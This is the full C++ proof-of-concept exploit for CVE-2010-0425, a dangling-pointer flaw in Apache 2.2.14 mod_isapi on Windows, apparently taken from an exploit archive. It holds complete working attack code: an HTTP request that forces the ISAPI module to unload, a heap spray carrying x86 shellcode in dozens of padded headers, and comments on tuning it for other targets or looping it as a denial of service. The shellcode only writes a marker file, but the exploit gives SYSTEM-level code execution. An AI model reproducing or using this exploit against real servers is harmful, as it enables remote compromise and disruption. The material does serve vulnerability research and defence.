CVE-2010-0425 - Apache 2.2.14 mod_isapi Remote Command Exec

Platform. Microsoft Windows

Affected versions. 2.2.14 verified and possibly others.

Proof of Concept. CPP 

Reference. 

            (This shellcode was used in the exploit for: CVE-2010-0425)

   

/*
 * Apache 2.2.14 mod_isapi Dangling Pointer Remote SYSTEM Exploit (CVE-2010-0425)
 * ------------------------------------------------------------------------------
 *
 * Advisory: http://www.senseofsecurity.com.au/advisories/SOS-10-002
 *
 * Description:
 * pwn-isapi.cpp exploits a dangling pointer vulnerabilty in Apache 2.2.14 mod_isapi.
 * Due to the nature of the vulnerability, and exploitation method, DEP should be limited to essential
 * Windows programs and services. At worst, if DEP is enabled for the Apache process, you could cause
 * a constant DoS by looping this (since apache will automatically restart) :)
 *
 * Note that the exploit code may need to be run multiple times before a shell is spawned (70%
 * success rate - tested on three different systems). Furthermore, the exploit code may require
 * modification to exploit this vulnerability on different platforms. This is due to loaded memory
 * references to the unloaded DLL (they will be different for each ISAPI module). Do not test
 * this code in a VM otherwise the code may fail to send the RESET packet (something to do with
 * VMware gracefully closing the connection, instead of sending a RESET packet) - I didnt want
 * to have to use raw packets on Windows.
 *
 * Shellcode Note:
 * The shellcode writes "pwn-isapi" to "sos.txt" which is created in the current working directory.
 * Most operating systems should be supported by this shellcode. I've used Skylined's method of finding
 * the base address of kernel32.dll for Windows 7 and modified it so that it will find the base
 * address of msvcrt.dll instead. I've also added another check so that it will be able to detect
 * "msvcrt.dll" on Windows Server 2003 (this OS loads msvcrt.dll in 5th position, and before this
 * DLL string is read, another DLL (RPCRT4.dll) length is verifiied which matches the length of
 * msvcrt.dll. So the added check will verify the presents of "m" before proceeding.
 *
 * Author:
 * Brett Gervasoni (brettg [at] senseofsecurity.com.au)
 *
 * Copyright Sense of Security Pty Ltd 2010.
 * http://www.senseofsecurity.com.au
 */

#include <iostream>
#include <windows.h>
#include <winsock.h>
#include <string>
#include <direct.h>

#pragma comment(lib, "wsock32.lib")

using namespace std;

#define SERVER_PORT 80

void header();
int createConnection(string targetAddr, int targetPort);
int sendTransmission(string message);
string recvTransmission();
void cleanUp();

WORD sockVersion;
WSADATA wsaData;

int sock;
struct sockaddr_in rserver;

int main(int argc, char *argv[])
{
    string serverIP, isapiDLL;
    string triggerVuln, payload;
    char accept[171], referer[733], cookie[5376], random[7604], postData[23379], footer[299];

    //custom shellcode that writes "pwn-isapi" to "sos.txt" in the current working directory
    //Note: There are four NOPs at the end for padding. Not really needed.
    char shellcode[] = "\x31\xc0\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x56\x08\x8b"
                       "\x7e\x20\x8b\x36\x66\x39\x4f\x14\x75\xf2\x66\xb9\x01\x6d\x66\x81\xe9\x94"
                       "\x6c\x66\x39\x0f\x66\x89\xc1\x75\xe1\x89\xe5\xeb\x71\x60\x8b\x6c\x24\x24"
                       "\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3"
                       "\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1"
                       "\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66"
                       "\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61"
                       "\xc3\xad\x50\x52\xe8\xaa\xff\xff\xff\x89\x07\x66\x81\xc4\x0c\x01\x66\x81"
                       "\xec\x04\x01\x66\x81\xc7\x08\x01\x66\x81\xef\x04\x01\x39\xce\x75\xde\xc3"
                       "\xeb\x10\x5e\x8d\x7d\x04\x89\xf1\x80\xc1\x0c\xe8\xcd\xff\xff\xff\xeb\x3b"
                       "\xe8\xeb\xff\xff\xff\x6e\x7c\x2e\xe1\x1e\x3c\x3f\xd7\x74\x1e\x48\xcd\x31"
                       "\xd2\x58\x88\x50\x07\xeb\x2f\x31\xd2\x59\x88\x51\x01\xeb\x2e\x51\x50\xff"
                       "\x55\x04\xeb\x2c\x31\xd2\x59\x88\x51\x09\xeb\x33\x51\x50\x89\xc6\xff\x55"
                       "\x08\x53\xff\x55\x0c\xe8\xd1\xff\xff\xff\x73\x6f\x73\x2e\x74\x78\x74\x4e"
                       "\xe8\xcc\xff\xff\xff\x77\x4e\xe8\xcd\xff\xff\xff\xe8\xcf\xff\xff\xff\x70"
                       "\x77\x6e\x2d\x69\x73\x61\x70\x69\x4e\xe8\xc8\xff\xff\xff\x90\x90\x90\x90";

    header();

    if (argc < 3)
    {
        printf("usage: %s  \n", argv[0]);
        return 1;
    }

    serverIP = string(argv[1]);
    isapiDLL = string(argv[2]);

    //all these values could be set to 7601 + sizeof(shellcode)
    //but mixing it up is good.
    memset(accept, 'A', 170);
    memset(referer, 'A', 732);
    memset(cookie, 'A', 5375);
    memset(random, 'A', 7603);
    memset(postData, 'A', 23378);
    memset(footer, 'A', 298);

    triggerVuln = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n"
        "User-Agent: AAAAAAAA\r\n"
        "Pragma: no-cache\r\n"
        "Proxy-Connection: Keep-Alive\r\n"
        "Host: " + serverIP + "\r\n"
        "Content-Length: 40334\r\n\r\n" +
        string(footer);

    //Modify the below request if needed (depending on where your function pointer is pointing)
    //Do so by adding or removing headers. So if you want to hit a higher function pointer,
    //keep adding headers :)
    //Note: If performing this blindly, try it a few times, change a bit, try again.
    //During testing i found that using a chunk of data the same size with the same header name
    //was more unreliable. In memory, large amounts of nulls are being placed either side of the
    //payload. Since the function pointer address was random, by slightly mixing up the size of
    //each header i would get better results.
    payload = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0\r\n"
        "Accept: " + string(accept) + "\r\n"
        "Referer: " + string(referer) + string(shellcode) + "\r\n"
        "From: " + string(cookie) + string(shellcode) + "\r\n"
        "Utruvh-guiergher: " + string(cookie) + string(shellcode) + "\r\n"
        "Accept-Language: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
        "Content-Type: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
        "UA-CPU: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
        "Pragma: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
        "User-Agent: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"
        "Cookie: " + string(cookie) + string(shellcode) + "\r\n"
        "Host: " + serverIP + "\r\n"
        "Proxy-Connection: Keep-Alive\r\n"
        "Okytuasd: " + string(cookie) + string(shellcode) + "\r\n"
        "Asdasdasdasdasd: " + string(random) + string(shellcode) + "\r\n"
        "Asdasda: " + string(random) + string(shellcode) + "\r\n"
        "Sewrwefbui: " + string(random) + string(shellcode) + "\r\n"
        "Qdfasdernu: " + string(random) + string(shellcode) + "\r\n"
        "Cdffew-asdf: " + string(random) + string(shellcode) + "\r\n"
        "Kuiytnb-Ehrf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
        "Lsfergjnuibubiu: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
        "Baefrwerifnhu: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
        "Zdsfno: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
        "Psdfsafn: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
        "Zefwefnuivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
        "Ivre-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
        "Yvasde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
        "Yuionbsdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
        "Yasdasdasdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
        "asdasdde-sdf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
        "Ertuioert-erf: " + string(cookie) + string(shellcode) + "BBBB" + "\r\n"
        "Content-Length: 25054\r\n\r\n" +
        string(postData) + "CCCC" + string(shellcode) + "BBBB" + string(footer);

    //Setup connection
    if (createConnection(serverIP, SERVER_PORT) == 1)
    {
        printf("- an error occurred connecting to the server\n");
        return 1;
    }

    printf("[+] Connected to %s.\n", serverIP.c_str());

    printf("[+] Setting socket data structure values\n");
    int iOptVal;
    int aiOptVal;

    struct linger linger_data;

    //This is meant to set closesocket to do a "graceful close",
    //however this is not the case when WSACancelBlockingCall() is called. A RESET packet is
    //sent as a result - Note that if in a vm, for some reason a RESET packet does not get sent.
    linger_data.l_onoff = 0;
    linger_data.l_linger = 0;

    setsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, sizeof(linger_data));
    setsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, sizeof(linger_data));

    //Set SO_LINGER to 0 so WSACancelBlockingCall() will cause a RESET packet to be sent
    getsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data, &iOptVal);
    getsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data, &aiOptVal);
    printf("    - SO_LINGER value is set to %ld\n", linger_data.l_onoff);
    printf("    - SO_DONTLINGER value is set to %ld\n", linger_data.l_linger);

    printf("[*] Triggering DLL unload\n");
    sendTransmission(triggerVuln);

    Sleep(2000); //Sleep for a bit, otherwise on first run a RESET packet doesn't get sent.
    WSACancelBlockingCall(); //Cause reset packet response

    Sleep(2000); //The multiple Sleeps seem to break up stuff a bit, making it more reliable...
    closesocket(sock);

    Sleep(2000);
    WSACleanup();

    Sleep(2000);
    printf("[+] The DLL should be unloaded by now\n");

    //Reconnect to deliver payload
    if (createConnection(serverIP, SERVER_PORT) == 1)
    {
        printf("- an error occurred connecting to the server\n");
        return 1;
    }

    printf("[*] Sending payload\n");
    sendTransmission(payload);

    cleanUp();

    printf("[+] Check to see if sos.txt was created...\n");

    return 0;
}

void header()
{
    printf("Apache 2.2.14 mod_isapi Remote SYSTEM Exploit (CVE-2010-0425)\n");
    printf("-------------------------------------------------------------\n");
    printf("         Brett Gervasoni (brettg [at] senseofsecurity.com.au)\n");
    printf("                    Copyright Sense of Security Pty Ltd 2010.\n");
}

//Setup the server
int createConnection(string serverIP, int port)
{
    int result = 0, len = 0;

    sockVersion = MAKEWORD(1,1);
    WSAStartup(sockVersion, &wsaData);

    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        perror("error: socket()\n");
        result = 1;
    }

    rserver.sin_family = AF_INET;
    rserver.sin_port = htons(port);
    rserver.sin_addr.s_addr = inet_addr(serverIP.c_str());
    memset(&rserver.sin_zero, 0, 8);

    len = sizeof(struct sockaddr_in);

    if ((connect(sock, (struct sockaddr *)&rserver, sizeof(struct sockaddr_in))) == -1)
    {
        perror("error: connect()\n");
        result = 1;
    }

    return result;
}

//Send a message
int sendTransmission(string message)
{
    int bytes_sent = 0;

    bytes_sent = send(sock, message.c_str(), message.length(), 0);
    if (bytes_sent < 0)
    {
        perror("error: send()\n");
        exit(1);
    }

    return bytes_sent;
}

//Receive a message
string recvTransmission()
{
    string result;
    char *c = new char[1];
    int bytes_recv = 0;

    while (c[0] != NULL)
    {
        bytes_recv = recv(sock, c, 1, 0);

        if (bytes_recv < 0)
        {
            perror("error: recv()\n");
            //exit(1);
        }

        result += c[0];
    }

    return result;
}

//Clean up the connection
void cleanUp()
{
    closesocket(sock);
    WSACleanup();
}